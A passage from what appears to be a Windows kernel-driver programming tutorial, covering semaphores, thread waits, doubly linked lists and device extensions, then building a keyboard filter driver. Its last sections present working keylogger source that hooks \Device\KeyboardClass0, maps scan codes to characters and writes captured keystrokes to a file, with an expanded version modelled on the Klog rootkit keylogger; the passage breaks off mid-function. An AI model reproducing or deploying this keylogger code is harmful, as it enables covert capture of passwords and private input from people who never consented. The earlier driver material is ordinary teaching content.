DbgPrint("After Thread After Wait i=%x %x",i,STATUS_TIMEOUT);

return 0;

}

 

Vijay2 2147483647

After Thread Before Wait

After Thread After Wait i=102 102

abc 0

abc 10

Driver Unload

 

The last parameter of the KeWaitForSingleObject function is a time out option. If such a option was not available, the driver may wait for ever for an event to occur. Now it will wait either for the vent or the timeout whichever is first. Thus we specify the address of a large integer specifying in the QuadPart member how long the function should wait.

 

The time is in 100 nanosecond units. We ask the Wait function to wait for 50 units which get over very soon. The return value tells us how the Wait function terminated. If it returns 0, then the event took place, if STATUS_TIMEOUT or 102, then a timeout happened.

 

A good idea to use the timeout option and not use 0 which means a infinite wait.

 

P13

r.c

#include <ntddk.h>

#include <malloc.h>

KSEMAPHORE sem;

void abc(void *p)

{

int i;

for ( i = 0 ; i <= 10 ; i++)

DbgPrint("abc %d",i);

KeReleaseSemaphore(&sem,0,2,FALSE);

}

void Unload(PDRIVER_OBJECT pDriverObject)

{

DbgPrint("Driver Unload");

}

NTSTATUS DriverEntry(PDRIVER_OBJECT d,PUNICODE_STRING r)

{          

HANDLE hThread;

d->DriverUnload = Unload;

DbgPrint("Vijay2 %d",MAXLONG);

KeInitializeSemaphore(&sem,0,MAXLONG); // set 0 to 1 and no wait

PsCreateSystemThread(&hThread,0,0,0,0,abc,0);

DbgPrint("After Thread Before Wait");

KeWaitForSingleObject(&sem,Executive,KernelMode,0,0);

KeWaitForSingleObject(&sem,Executive,KernelMode,0,0);

DbgPrint("After Thread After Wait");

return 0;

}

 

Vijay2 2147483647

After Thread Before Wait

abc 0

abc 10

After Thread After Wait

Driver Unload

 

The above program has two identical Wait functions. Thus someone has to set the semaphore to 2 otherwise we will not cross the two wait functions. In the abc function we set the value of the semaphore to 2 and not 1. Had we set it to 1, then we would cross the first Wait function and wait forever at the second.

 

Enough of semaphores for the moment, lets move on. Before that a short summary. A semaphore is used to let someone wait for someone else. Thus we are waiting at driver entry until the thread finishes. Thus they are called a mechanism for synchronizing access.

 

P13a

r.c

#include <ntddk.h>

#include <malloc.h>

void abc(void *p)

{

int i;

for(i=0; i <= 10 ; i++)

DbgPrint("abc %d",i);

}

void Unload(PDRIVER_OBJECT pDriverObject)

{

DbgPrint("Driver Unload");

}

NTSTATUS DriverEntry(PDRIVER_OBJECT d,PUNICODE_STRING r)

{          

HANDLE hThread,ThreadObj;

PsCreateSystemThread(&hThread,0,0,0,0,abc,0);

ObReferenceObjectByHandle(hThread,THREAD_ALL_ACCESS,0,KernelMode,&ThreadObj,0);

DbgPrint("Vijay2");

KeWaitForSingleObject(ThreadObj,Executive,KernelMode,0,0);

DbgPrint("After Wait");

d->DriverUnload = Unload;

return 0;

}

 

abc 0

abc 10

After Wait

Driver Unload

 

When we create a thread we would like to wait for the thread to finish and then carry on. The only problem is the Wait function wants the ETHREAD pointer and not the thread handle. Thus we convert the handle and pass this pointer to the wait function. Now the Wait function waits for the thread to finish and then moves on.

 

We have learned two ways of getting something to wait for us, using a semaphore or using the wait function with a thread.

 

p14

r.c

#include <ntddk.h>

#include <malloc.h>

LIST_ENTRY List;

void Unload(PDRIVER_OBJECT pDriverObject)

{

DbgPrint("Driver Unload");

}

NTSTATUS DriverEntry(PDRIVER_OBJECT d,PUNICODE_STRING r)

{          

d->DriverUnload = Unload;

DbgPrint("Vijay2 Flink=%x Blink=%x List=%x",List.Flink,List.Blink,&List);

InitializeListHead (&List);

DbgPrint("After Flink=%x Blink=%x",List.Flink,List.Blink);

return 0;

}

 

Vijay2 Flink=0 Blink=0 List= eb75b050

After Flink=eb75b050 Blink=eb75b050

Driver Unload

 

When we explained processes we saw that the driver world loved working with doubly linked lists. This data structure is ideal for moving though structures in either direction. Each linked list had a LIST_ENTRY structure which in turn had two pointers Flink and Blink which pointed to similar liked lists.

 

If we have to build a doubly link list, we have to write code to add and remove entities from this linked list by fiddling around the Flink and Blink pointers. Instead of we doing all this, lets use a set of functions to handle it.

 

We create a global variable List of type LIST_ENTRY. We first print the address of this structure and it gives us eb75b050. As it is a global variable both Flink and Blink are set to 0.

 

We then use the function InitializeListHead passing it the address of the head of this list head. This function does a simple thing, it set both Blink and Flink to the start of the List structure as our list is empty. Thus both Flink and Blink point to the same value, the List or Head structure.

 

P15

r.c

#include <ntddk.h>

#include <malloc.h>

LIST_ENTRY List;

void Unload(PDRIVER_OBJECT pDriverObject)

{

DbgPrint("Driver Unload");

}

NTSTATUS DriverEntry(PDRIVER_OBJECT d,PUNICODE_STRING r)

{          

LIST_ENTRY *p,*p1;

d->DriverUnload = Unload;

DbgPrint("Vijay2 Flink=%x Blink=%x List=%x",List.Flink,List.Blink,&List);

InitializeListHead (&List);

DbgPrint("After Flink=%x Blink=%x",List.Flink,List.Blink);

p = (LIST_ENTRY *)ExAllocatePool(PagedPool,sizeof(LIST_ENTRY));

DbgPrint("p = %x",p);

InsertTailList (&List,p);

DbgPrint("After Insert Flink=%x Blink=%x",List.Flink,List.Blink);

p = (LIST_ENTRY *)ExAllocatePool(PagedPool,sizeof(LIST_ENTRY));

DbgPrint("p = %x",p);

InsertTailList(&List,p);

DbgPrint("After Insert Flink=%x Blink=%x",List.Flink,List.Blink);

p1 = List.Blink;

DbgPrint("After Insert Flink=%x Blink=%x",p1->Flink,p1->Blink);

p1 = p1->Blink;

DbgPrint("After Insert Flink=%x Blink=%x",p1->Flink,p1->Blink);

return 0;

}

Vijay2 Flink=0 Blink=0 List=eb72b0e0

After Flink= eb72b0e0 Blink= eb72b0e0

p = e2fa1fe8

After Insert Flink=e2fa1fe8 Blink=e2fa1fe8

p = e2bd7528

After Insert Flink= e2fa1fe8 Blink= e2bd7528

After Insert Flink= eb72b0e0 Blink= e2fa1fe8

After Insert Flink=e2bd7528 Blink=eb72b0e0

Driver Unload

 

Lets now add some structures to the empty list we created above. We call the InitializeListHead function as before and in this case our structure starts at address eb72b0e0. To add a structure to our link list we first have to allocate memory for this structure.

 

The only function we know that can do this is our good old ExAllocatePool which allocates 8 bytes of memory starting from e2fa1fe8. We then call the function InsertTailList which takes two parameters, the start of the list stored in List and the LIST_ENTRY structure we want to add.

 

Both values are passed as pointers to LIST_ENTRY structures. All that this function does is set both Flink and Blink of list to point to this newly created structure. This is because this is the first time we are calling insert.

 

Earlier Blink and Flink of list had a value of eb72b0e0, now they have a value of p e2fa1fe8. Confusing. Not really as we have only one member in the list, List does not really count.

 

We then create another LIST_ENTRY structure that starts at e2bd7528. We use the InsertTailList function once again. Now when we print out the Flink and Blink structures we see something. Flink remains the same and it points to the previous or first structure at e2fa1fe8.

 

The second structure was created at e2bd7528 and Blink points to this structure as we added the structure at the end or tail. Thus for List, the Flink points to the first, Blink points to the newly added structure.

 

 

We then p1 to point to Blink, the newly added LIST_ENTRY structure. We have not filled up any of the Flink or Blink values. Flink points to eb72b0e0 which is the addresses of the original List structure and Blink points to e2fa1fe8 which is the previous Flink or the first structure we created.

 

We then set p1 to the Blink and now we a circular reference again.

Flink points to the second structure we have created at e2bd7528 and Blink to the List structure. This is how we can traverse the doubly linked lists.

P16

r.c

#include <ntddk.h>

#include <malloc.h>

LIST_ENTRY List;

void Unload(PDRIVER_OBJECT pDriverObject)

{

DbgPrint("Driver Unload");

}

NTSTATUS DriverEntry(PDRIVER_OBJECT d,PUNICODE_STRING r)

{          

LIST_ENTRY *p,*p1,*p2;

int i;

d->DriverUnload = Unload;

DbgPrint("Vijay2 Flink=%x Blink=%x List=%x",List.Flink,List.Blink,&List);

InitializeListHead(&List);

DbgPrint("After Flink=%x Blink=%x",List.Flink,List.Blink);

p = (LIST_ENTRY *)ExAllocatePool(PagedPool,sizeof(LIST_ENTRY));

DbgPrint("p = %x",p);

InsertTailList(&List,p);

DbgPrint("After Insert Flink=%x Blink=%x",List.Flink,List.Blink);

p = (LIST_ENTRY *)ExAllocatePool(PagedPool,sizeof(LIST_ENTRY));

DbgPrint("p = %x",p);

InsertTailList(&List,p);

DbgPrint("After Insert Flink=%x Blink=%x",List.Flink,List.Blink);

p2= RemoveTailList (&List);

DbgPrint("After Remove Flink=%x Blink=%x p2=%x",List.Flink,List.Blink,p2);

i = IsListEmpty(&List);

DbgPrint("List Empty i=%d",i);

p2 = RemoveTailList(&List);

DbgPrint("After Remove Flink=%x Blink=%x p2=%x",List.Flink,List.Blink,p2);

i = IsListEmpty (&List);

DbgPrint("List Empty i=%d",i);

return 0;

}

 

Vijay2 Flink=0 Blink=0 List=eb75b110

After Flink=eb75b110 Blink=eb75b110

p = e12d0468

After Insert Flink=e12d0468 Blink=e12d0468

p = e2babba8

After Insert Flink=e12d0468 Blink=e2babba8

After Remove Flink=e12d0468 Blink=e12d0468 p2=e2babba8

List Empty i=0

After Remove Flink=eb75b110 Blink=eb75b110 p2= e12d0468

List Empty i=1

Driver Unload

 

The above program lets us remove a item from our list. To quickly sum, the List structure starts at eb75b110. The first structure starts at e12d1468 and thus both Flink and Blink point to this structure. The second insert begins at e2babba8 and the Blink of list points to this, Flink remains unchanged.

 

When we remove an item from the doubly linked list using the function RemoveTailList, the return value is the last item that we placed in the list the one at e2babba8. When we print out the Flink and Blink of list, they both point to the same single list item remaining, the first one at e12d1468. 

 

The function IsListEmpty returns false as we yet have one item remaining in the list. We remove the last item in the list, the remove function returns its address at e12d0468. The Blink and Flink now point to themselves the address of the List structure at eb75b110.

 

This is how we can remove a item from the list and the list will rearrange itself. However the function IsListEmpty returns a true as the List has no members other than the List Structure.

P17

r.c

#include <ntddk.h>

LIST_ENTRY List;

void Unload(PDRIVER_OBJECT pDriverObject)

{

DbgPrint("Driver Unload");

}

struct zzz

{

LIST_ENTRY ls;

int cnt;

};

NTSTATUS DriverEntry(PDRIVER_OBJECT d,PUNICODE_STRING r)

{          

struct zzz *z;

int i;

d->DriverUnload = Unload;

InitializeListHead(&List);

DbgPrint("List=%x Flink=%x Blink=%x",&List,List.Flink,List.Blink);

for ( i = 0 ; i <= 5 ; i++)

{

z = (struct zzz *)ExAllocatePool(PagedPool,sizeof(struct zzz));

z->cnt = 10*i;

InsertTailList(&List,(LIST_ENTRY *)z);

}

z = (struct zzz *)List.Flink;

for ( i = 0 ; i <= 10 ; i++)

{

DbgPrint("cnt=%d Flink=%x Blink=%x z=%x",z->cnt, z->ls.Flink, z->ls.Blink,z);

z = (struct zzz *)z->ls.Flink;

if ( z->ls.Flink == List.Flink)

break;

}

return 0;

}

 

List=eb76b050 Flink=eb76b050 Blink=eb76b050

cnt=0 Flink=e2d8bfe8 Blink=eb76b050 z=e2e038e8

cnt=10 Flink=e2d42d88 Blink=e2e038e8 z=e2d8bfe8

cnt=20 Flink=e2e0ae68 Blink=e2d8bfe8 z=e2d42d88

cnt=30 Flink=e2e04828 Blink=e2d42d88 z=e2e0ae68

cnt=40 Flink=e2e08be8 Blink=e2e0ae68 z=e2e04828

cnt=50 Flink=eb76b050 Blink=e2e04828 z=e2e08be8

Driver Unload

 

When we create a doubly linked list we do not do it as we did it so far. We create a list of something and we use the LIST_ENTRY structure to join our structures together. In the structure zzz we start with the LIST_ENTRY structure but also have a variable cnt.

 

Thus the basic is that we can have as many members as we like, the only criteria is that we start our structure with a LIST_ENTRY member. Thus we have a overhead of 8 bytes.

 

We first initialize our List structure as always. We then enter a for loop 6 times where we first allocate 12 bytes for our structure zzz. We then set the cnt member to 10 times the loop variable i. We then insert this newly created structure into our linked list.

 

Our linked list thus has 6 members. We now will display all the members using a for loop. The loop purpose goes on 10 times and not 6 times. We first set the z variable to the Flink member which points to the first structure we added. Each time in the loop we display the members of the structure.

 

We then set z to Flink  which points to the next structure. At some time as we are dealing with a doubly linked list, the Flink member will equal the Flink member of List. This means that we have traversed one full circle.

 

Time to move out of the loop. We did something similar for looping through the processes. This doubly linked list is circular.

 

for ( i = 0 ; i <= 5 ; i++)

{

z = (struct zzz *)ExAllocatePool(PagedPool,sizeof(struct zzz));

z->cnt = 10*i;

InsertTailList(&List,(LIST_ENTRY *)z);

}

RemoveTailList(&List);

RemoveTailList(&List);

RemoveTailList(&List);

z = (struct zzz *)List.Flink;

 

We now add three removes from the list. We now get the following output.

 

List=eb7c3050 Flink=eb7c3050 Blink=eb7c3050

cnt=0 Flink=e12f8d08 Blink=eb7c3050 z=e2e9f2a8

cnt=10 Flink=e2c28da8 Blink=e2e9f2a8 z=e12f8d08

cnt=20 Flink=eb7c3050 Blink=e12f8d08 z=e2c28da8

Driver Unload

 

If we change the removes as follow

 

RemoveHeadList (&List);

RemoveHeadList(&List);

RemoveHeadList(&List);

 

cnt=30 Flink=e2eb4d68 Blink=eb7e3050 z=e2d56568

cnt=40 Flink=e2f36d28 Blink=e2d56568 z=e2eb4d68

cnt=50 Flink=eb7e3050 Blink=e2eb4d68 z=e2f36d28

 

The function RemoveTailList  removes the items form the bottom, thus cnt values of 30, 40 , 50 get removed. If we use the function RemoveHeadList, then the items get removed from the beginning of the list. This means that items 0, 10 and 20 get removed.

 

P18

r.c

#include <ntddk.h>

#include <ntddkbd.h>

struct zzz

{

int i,j;

};

PDEVICE_OBJECT pactualkeyboarddevice,pgenericdevice;

UNICODE_STRING uKeyboardDeviceName;int numPendingIrps;

void Unload(PDRIVER_OBJECT pDriverObject)

{

struct zzz *p;

p = pDriverObject->DeviceObject->DeviceExtension;

DbgPrint("Driver Unload numPendingIrps=%d %d %d",numPendingIrps,p->i, p->j);

p->i = 3000;

IoDetachDevice(pactualkeyboarddevice);

while(numPendingIrps > 0);

IoDeleteDevice(pgenericdevice);

}

NTSTATUS OnReadCompletion(PDEVICE_OBJECT pDeviceObject,PIRP pIrp,PVOID Context)

{

struct zzz *p;

PKEYBOARD_INPUT_DATA keys = (PKEYBOARD_INPUT_DATA)pIrp->AssociatedIrp.SystemBuffer;

p = (struct zzz *)pDeviceObject->DeviceExtension;

DbgPrint("ScanCode %d Flags=%x %d %d\n", keys[0].MakeCode,keys->Flags,p->i,p->j);

p->i = 1000;

if ( keys->MakeCode == 30)

keys->MakeCode++;

IoMarkIrpPending(pIrp);

numPendingIrps--;

return pIrp->IoStatus.Status;

}

NTSTATUS abcRead(PDEVICE_OBJECT pDeviceObject,PIRP pIrp)

{

struct zzz *p = (struct zzz *)pDeviceObject->DeviceExtension;

DbgPrint("DispatchRead %d %d",p->i,p->j);

p->i = 100;

IoCopyCurrentIrpStackLocationToNext(pIrp);

IoSetCompletionRoutine(pIrp, OnReadCompletion, 0, 1, 0,0);

numPendingIrps++;

return IoCallDriver(pactualkeyboarddevice ,pIrp);

}

NTSTATUS DriverEntry(PDRIVER_OBJECT d,PUNICODE_STRING r)

{          

struct zzz *p;

DbgPrint("Vijay2");

d->MajorFunction[IRP_MJ_READ] = abcRead;

IoCreateDevice(d,8,0,FILE_DEVICE_KEYBOARD,0,1,& pgenericdevice);

p = (struct zzz *)pgenericdevice->DeviceExtension;

p->i = 3;

p->j = 30;

pgenericdevice->Flags = pgenericdevice->Flags | DO_BUFFERED_IO;

RtlInitUnicodeString(&uKeyboardDeviceName,L"\\Device\\KeyboardClass0");

IoAttachDevice(pgenericdevice,&uKeyboardDeviceName,&pactualkeyboarddevice);

d->DriverUnload = Unload;

return 0;

}

 

Vijay2

DispatchRead 3 30

ScanCode 30 Flags=0 100 30

DispatchRead 1000 30

ScanCode 30 Flags=1 100 30

DispatchRead 1000 30

Driver Unload numPendingIrps=1 100 30

ScanCode 28 Flags=1 3000 30

 

The second  parameter to the IoCreateDevice function was always 0. Now we pass a value of 8. The function creates a DEVICE_OBJECT object for us pgenericdevice. This has a member called DeviceExtension that points to an area of memory 8 bytes large that has been allocated by the function.

 

Remember we do not allocate this memory. It gets allocated internally by the IoCreateDevice function. We cast this member to a structure zzz that has two int’s I and j which we set to 3 and 30.

 

The first function to be called is abcRead which is passed a DEVICE_OBJECT pointer as the first parameter. The DeviceExtension member we cast to a zzz pointer and print the value of I and j which will be 3 and 30.

 

Thus every function normally gets passed a DEVICE_OBJECT pointer and thus we can get access to the values passed in DriverEntry. We change the value of I to 100 and when the function OnReadCompletion gets called the value of I is 100. This is way of passing parameters between different function in our driver.

 

As Unload gets called before the last  OnReadCompletion gets called we change the value of  I to 3000 and this is the value we see displayed on the last call. Thus in IoCreateDevice we allocate a black of memory which gets passed to every function like the context parameter of the thread.

 

This is the preferred way of passing parameters instead of using global variables.

 

P19

r.c

#include <ntddk.h>

#include <ntddkbd.h>

char KeyMap[84] = {

' ', //0

' ', //1

'1', //2

'2', //3

'3', //4

'4', //5

'5', //6

'6', //7

'7', //8

'8', //9

'9', //A

'0', //B

'-', //C

'=', //D

' ', //E

' ', //F

'q', //10

'w', //11

'e', //12

'r', //13

't', //14

'y', //15

'u', //16

'i', //17

'o', //18

'p', //19

'[', //1A

']', //1B

' ', //1C

' ', //1D

'a', //1E

's', //1F

'd', //20

'f', //21

'g', //22

'h', //23

'j', //24

'k', //25

'l', //26

';', //27

'\'', //28

'`', //29

' ',//2A

'\\', //2B

'z', //2C

'x', //2D

'c', //2E

'v', //2F

'b', //30

'n', //31

'm' , //32

',', //33

'.', //34

'/', //35

' ', //36

' ', //37

' ', //38

' ', //39

' ', //3A

' ', //3B

' ', //3C

' ', //3D

' ', //3E

' ', //3F

' ', //40

' ', //41

' ', //42

' ', //43

' ', //44

' ', //45

' ', //46

'7', //47

'8', //48

'9', //49

' ', //4A

'4', //4B

'5', //4C

'6', //4D

' ', //4E

'1', //4F

'2', //50

'3', //51

'0', //52

};

HANDLE hFile;

PDEVICE_OBJECT pactualkeyboarddevice,pgenericdevice;

UNICODE_STRING uKeyboardDeviceName;int numPendingIrps;

LIST_ENTRY List;

struct zzz

{

LIST_ENTRY ls;

int ch;

};

void Unload(PDRIVER_OBJECT pDriverObject)

{

struct zzz *z;

DbgPrint("Driver Unload numPendingIrps=%d",numPendingIrps);

IoDetachDevice(pactualkeyboarddevice);

while(numPendingIrps > 0);

IoDeleteDevice(pgenericdevice);

z = (struct zzz *)List.Flink;

while ( 1)

{

ZwWriteFile(hFile,0,0,0,0,&z->ch,1,0,0);

z = (struct zzz *)z->ls.Flink;

if ( z->ls.Flink == List.Flink)

break;

}

ZwClose(hFile);

}

NTSTATUS OnReadCompletion(PDEVICE_OBJECT pDeviceObject,PIRP pIrp,PVOID Context)

{

PKEYBOARD_INPUT_DATA keys = (PKEYBOARD_INPUT_DATA)pIrp->AssociatedIrp.SystemBuffer;

if ( keys->Flags == 0)

{

struct zzz *z;

DbgPrint("ScanCode %d %c\n", keys[0].MakeCode, KeyMap[keys->MakeCode]);

z = (struct zzz *)ExAllocatePool(PagedPool,sizeof(struct zzz));

z->ch = KeyMap[keys->MakeCode];

InsertTailList(&List,(LIST_ENTRY *)z);

}

IoMarkIrpPending(pIrp);

numPendingIrps--;

return pIrp->IoStatus.Status;

}

NTSTATUS abcRead(PDEVICE_OBJECT pDeviceObject,PIRP pIrp)

{

IoCopyCurrentIrpStackLocationToNext(pIrp);

IoSetCompletionRoutine(pIrp, OnReadCompletion, 0, 1, 0,0);

numPendingIrps++;

return IoCallDriver(pactualkeyboarddevice ,pIrp);

}

NTSTATUS DriverEntry(PDRIVER_OBJECT d,PUNICODE_STRING r)

{          

OBJECT_ATTRIBUTES attr;

UNICODE_STRING uFileName;

DbgPrint("Vijay2");

InitializeListHead(&List);

RtlInitUnicodeString(&uFileName,L"\\DosDevices\\c:\\driverm\\z.txt");

InitializeObjectAttributes(&attr,&uFileName,OBJ_CASE_INSENSITIVE,0,0);

ZwCreateFile(&hFile,GENERIC_WRITE,&attr,0,0,0,0,0, FILE_SYNCHRONOUS_IO_NONALERT ,0,0);

d->MajorFunction[IRP_MJ_READ] = abcRead;

IoCreateDevice(d,0,0,FILE_DEVICE_KEYBOARD,0,1,&pgenericdevice);

pgenericdevice->Flags = pgenericdevice->Flags | DO_BUFFERED_IO;

RtlInitUnicodeString(&uKeyboardDeviceName,L"\\Device\\KeyboardClass0");

IoAttachDevice(pgenericdevice,&uKeyboardDeviceName,&pactualkeyboarddevice);

d->DriverUnload = Unload;

return 0;

}

ScanCode 21 y

ScanCode 57 

ScanCode 12 -

ScanCode 22 u

ScanCode 28 

 

z.txt

y –u

 

The above program may be long but it actually does very little that we do not already know off. We would first like to display the actual key pressed and not the scan code. There is a one to one relationship between scan code and key pressed.

 

We create an character array KeyMap where we specify the actual characters corresponding to the scan code. We know that the scan code for y is 21, so in the 21st member of the array we place a y.

 

So all that we do to display the actual character is use the scan code keys->MakeCode as an offset to the array KeyMap[keys->MakeCode]. Now we would also like to write this character to disk. We can function ZwWriteFile but the only problem is that we cannot use this function in the OnReadCompletion function. It give us a blue screen of death.

 

So we use the same code that we used earlier, we create a structure of type zzz and initialize the ch member to the actual character. We add this structure which begins with a LIST_ENTRY structure to a doubly linked list whose head is List.

 

In function DriverUnload we write this list to disk copying code from the earlier programs. This is why we explained the code earlier so that we could use it now. This is how we write all the keys typed by us to disk. Lets learn more so that we can write a more complete key logger.

 

Our inspiration is a key logger Klog that is available on the site www.rootkit.com.

 

aa.h

#define INVALID 0X00

#define SPACE 0X01

#define ENTER 0X02

#define LSHIFT 0x03

#define RSHIFT 0x04

#define CTRL  0x05

#define ALT  0x06

char KeyMap[84] = {

INVALID, //0

INVALID, //1

'1', //2

'2', //3

'3', //4

'4', //5

'5', //6

'6', //7

'7', //8

'8', //9

'9', //A

'0', //B

'-', //C

'=', //D

INVALID, //E

INVALID, //F

'q', //10

'w', //11

'e', //12

'r', //13

't', //14

'y', //15

'u', //16

'i', //17

'o', //18

'p', //19

'[', //1A

']', //1B

ENTER, //1C

CTRL, //1D

'a', //1E

's', //1F

'd', //20

'f', //21

'g', //22

'h', //23

'j', //24

'k', //25

'l', //26

';', //27

'\'', //28

'`', //29

LSHIFT,//2A

'\\', //2B

'z', //2C

'x', //2D

'c', //2E

'v', //2F

'b', //30

'n', //31

'm' , //32

',', //33

'.', //34

'/', //35

RSHIFT, //36

INVALID, //37

ALT, //38

SPACE, //39

INVALID, //3A

INVALID, //3B

INVALID, //3C

INVALID, //3D

INVALID, //3E

INVALID, //3F

INVALID, //40

INVALID, //41

INVALID, //42

INVALID, //43

INVALID, //44

INVALID, //45

INVALID, //46

'7', //47

'8', //48

'9', //49

INVALID, //4A

'4', //4B

'5', //4C

'6', //4D

INVALID, //4E

'1', //4F

'2', //50

'3', //51

'0', //52

};

char ExtendedKeyMap[84] = {

INVALID, //0

INVALID, //1

'!', //2

'@', //3

'#', //4

'$', //5

'%', //6

'^', //7

'&', //8

'*', //9

'(', //A

')', //B

'_', //C

'+', //D

INVALID, //E

INVALID, //F

'Q', //10

'W', //11

'E', //12

'R', //13

'T', //14

'Y', //15

'U', //16

'I', //17

'O', //18

'P', //19

'{', //1A

'}', //1B

ENTER, //1C

INVALID, //1D

'A', //1E

'S', //1F

'D', //20

'F', //21

'G', //22

'H', //23

'J', //24

'K', //25

'L', //26

':', //27

'"', //28

'~', //29

LSHIFT,//2A

'|', //2B

'Z', //2C

'X', //2D

'C', //2E

'V', //2F

'B', //30

'N', //31

'M' , //32

'<', //33

'>', //34

'?', //35

RSHIFT, //36

INVALID, //37

INVALID, //38

SPACE, //39

INVALID, //3A

INVALID, //3B

INVALID, //3C

INVALID, //3D

INVALID, //3E

INVALID, //3F

INVALID, //40

INVALID, //41

INVALID, //42

INVALID, //43

INVALID, //44

INVALID, //45

INVALID, //46

'7', //47

'8', //48

'9', //49

INVALID, //4A

'4', //4B

'5', //4C

'6', //4D

INVALID, //4E

'1', //4F

'2', //50

'3', //51

'0', //52

};

 

r.c

#include "ntddk.h"

#include "ntddkbd.h"

#include "aa.h"

typedef BOOLEAN bool;

struct KEY_STATE

{

bool kSHIFT;

bool kCAPSLOCK;

bool kCTRL;

bool kALT;

};

struct KEY_DATA

{

LIST_ENTRY ListEntry;

char KeyData;

char KeyFlags;

};

typedef struct

{

PDEVICE_OBJECT pakd;

PETHREAD pThreadObj;

bool bThreadTerminate;

HANDLE hLogFile;

struct KEY_STATE kState;

KSEMAPHORE sem;

KSPIN_LOCK spin;

LIST_ENTRY List;

}zzz, *Pzzz;

int numPendingIrps = 0;

NTSTATUS DispatchPassDown(PDEVICE_OBJECT pDeviceObject,PIRP pIrp )

{

DbgPrint("DispatchPassDown");

IoSkipCurrentIrpStackLocation(pIrp);

return IoCallDriver(((Pzzz) pDeviceObject->DeviceExtension)->pakd ,pIrp);

}

VOID Unload(PDRIVER_OBJECT p)

{

Pzzz pzzz = (Pzzz)p->DeviceObject->DeviceExtension;

IoDetachDevice(pzzz->pakd);

DbgPrint("Unload numPendingIrps=%d",numPendingIrps);

while(numPendingIrps > 0)

{

}

pzzz ->bThreadTerminate = 1;

KeReleaseSemaphore(&pzzz->sem,0,1,TRUE);

DbgPrint("Unload Before Wait");

KeWaitForSingleObject(pzzz->pThreadObj,Executive,KernelMode,0,NULL);

DbgPrint("Unload After Wait");

ZwClose(pzzz->hLogFile);

IoDeleteDevice(p->DeviceObject);

return;

}

NTSTATUS abcReadOver(PDEVICE_OBJECT pDeviceObject, PIRP pIrp, PVOID Context)

{

Pzzz pzzz = (Pzzz)pDeviceObject->DeviceExtension;

if(pIrp->IoStatus.Status == STATUS_SUCCESS)

{

int i;

PKEYBOARD_INPUT_DATA keys = (PKEYBOARD_INPUT_DATA)pIrp->AssociatedIrp.SystemBuffer;

int numKeys = pIrp->IoStatus.Information / sizeof(KEYBOARD_INPUT_DATA);

DbgPrint("abcReadOver numKeys=%d Flags=%d Scancode=%d",numKeys,keys[0].Flags,keys[0].MakeCode);

for(i = 0; i < numKeys; i++)

{

struct KEY_DATA* kData = (struct KEY_DATA*)ExAllocatePool(NonPagedPool,sizeof(struct KEY_DATA));

kData->KeyData = (char)keys[i].MakeCode;

kData->KeyFlags = (char)keys[i].Flags;

ExInterlockedInsertTailList(&pzzz->List,kData,&pzzz->spin);

KeReleaseSemaphore(&pzzz->sem,0,1,FALSE);

}

}

DbgPrint("abcReadOver After Semaphore Release numPendingIrps=%d",numPendingIrps);

if(pIrp->PendingReturned)

IoMarkIrpPending(pIrp);

numPendingIrps--;

return pIrp->IoStatus.Status;

}

NTSTATUS abcRead(PDEVICE_OBJECT pDeviceObject,PIRP pIrp)

{

PIO_STACK_LOCATION currentIrpStack = IoGetCurrentIrpStackLocation(pIrp);

PIO_STACK_LOCATION nextIrpStack = IoGetNextIrpStackLocation(pIrp);

DbgPrint("abcRead numPendingIrps=%d",numPendingIrps);

*nextIrpStack = *currentIrpStack;

IoSetCompletionRoutine(pIrp, abcReadOver, pDeviceObject, TRUE, TRUE, TRUE);

numPendingIrps++;

return IoCallDriver(((Pzzz) pDeviceObject->DeviceExtension)->pakd ,pIrp);

}

VOID abc(PVOID pContext)

{

Pzzz pzzz = (Pzzz)pContext;

PDEVICE_OBJECT pakd = pzzz->pakd;

PLIST_ENTRY pListEntry;

struct KEY_DATA* kData;

while(1)

{

char keys[3] = {0};

char key = 0;

KEVENT event = {0};

KEYBOARD_INDICATOR_PARAMETERS indParams = {0};

IO_STATUS_BLOCK ioStatus = {0};

struct KEY_DATA *z;

NTSTATUS status = {0};

int caps, num , scroll;

PIRP irp;

DbgPrint("Before Wait for semaphore in thread");

KeWaitForSingleObject(&pzzz->sem,Executive,KernelMode,FALSE,NULL);

DbgPrint("After Wait for semaphore in thread");

pListEntry = ExInterlockedRemoveHeadList(&pzzz->List,&pzzz->spin);

z = (struct KEY_DATA  *)pListEntry ;

DbgPrint("Scan Code=%d",z->KeyData);

if(pzzz->bThreadTerminate == 1)

{

DbgPrint("Terminating thread");

PsTerminateSystemThread(STATUS_SUCCESS);

}

kData = CONTAINING_RECORD(pListEntry,struct KEY_DATA,ListEntry);

key = KeyMap[kData->KeyData];

KeInitializeEvent(&event, NotificationEvent, FALSE);

irp = IoBuildDeviceIoControlRequest(IOCTL_KEYBOARD_QUERY_INDICATORS,pzzz->pakd,NULL,0,&indParams,sizeof(KEYBOARD_ATTRIBUTES),TRUE,&event,&ioStatus);

status = IoCallDriver(pzzz->pakd, irp);

if (status == STATUS_PENDING)

{

DbgPrint("In thread if statement");

(VOID) KeWaitForSingleObject(&event,Suspended,KernelMode,FALSE,NULL);

}

status = irp->IoStatus.Status;

if(status == STATUS_SUCCESS)

{

DbgPrint("kData=%x pListEntry =%x status=%d LedFlags=%x",kData,pListEntry ,status,indParams.LedFlags);

caps = (indParams.LedFlags & KEYBOARD_CAPS_LOCK_ON) == 4 ;

num = (indParams.LedFlags & KEYBOARD_NUM_LOCK_ON) == 2;

scroll = (indParams.LedFlags & KEYBOARD_SCROLL_LOCK_ON) == 1;

DbgPrint("caps=%d num=%d scroll=%d",caps, num, scroll);

}

switch(key)

{

case LSHIFT:

if(kData->KeyFlags == KEY_MAKE)

pzzz->kState.kSHIFT = 1;

else

pzzz->kState.kSHIFT = 0;

break;

case RSHIFT:

if(kData->KeyFlags == KEY_MAKE)

pzzz->kState.kSHIFT = 1;

else

pzzz->kState.kSHIFT = 0;

break;

case CTRL:

if(kData->KeyFlags == KEY_MAKE)

pzzz->kState.kCTRL = 1;

else

pzzz->kState.kCTRL = 0;

break;

case ALT:

if(kData->KeyFlags == KEY_MAKE)

pzzz->kState.kALT = 1;

else

pzzz->kState.kALT = 0;

break;

case SPACE:

if((pzzz->kState.kALT != 1) && (kData->KeyFlags == KEY_BREAK))

keys[0] = 0x20;

break;

case ENTER:

if((pzzz->kState.kALT != 1) && (kData->KeyFlags == KEY_BREAK))

{

keys[0] = 0x0D;

keys[1] = 0x0A;

}

break;

default:

if((pzzz->kState.kALT != 1) && (pzzz->kState.kCTRL != 1) && (kData->KeyFlags == KEY_MAKE))

{

if((key >= 0x21) && (key <= 0x7E))

{

if(pzzz->kState.kSHIFT == 1)

keys[0] = ExtendedKeyMap[kData->KeyData];

else 

keys[0] = key;

}

}

break;

}

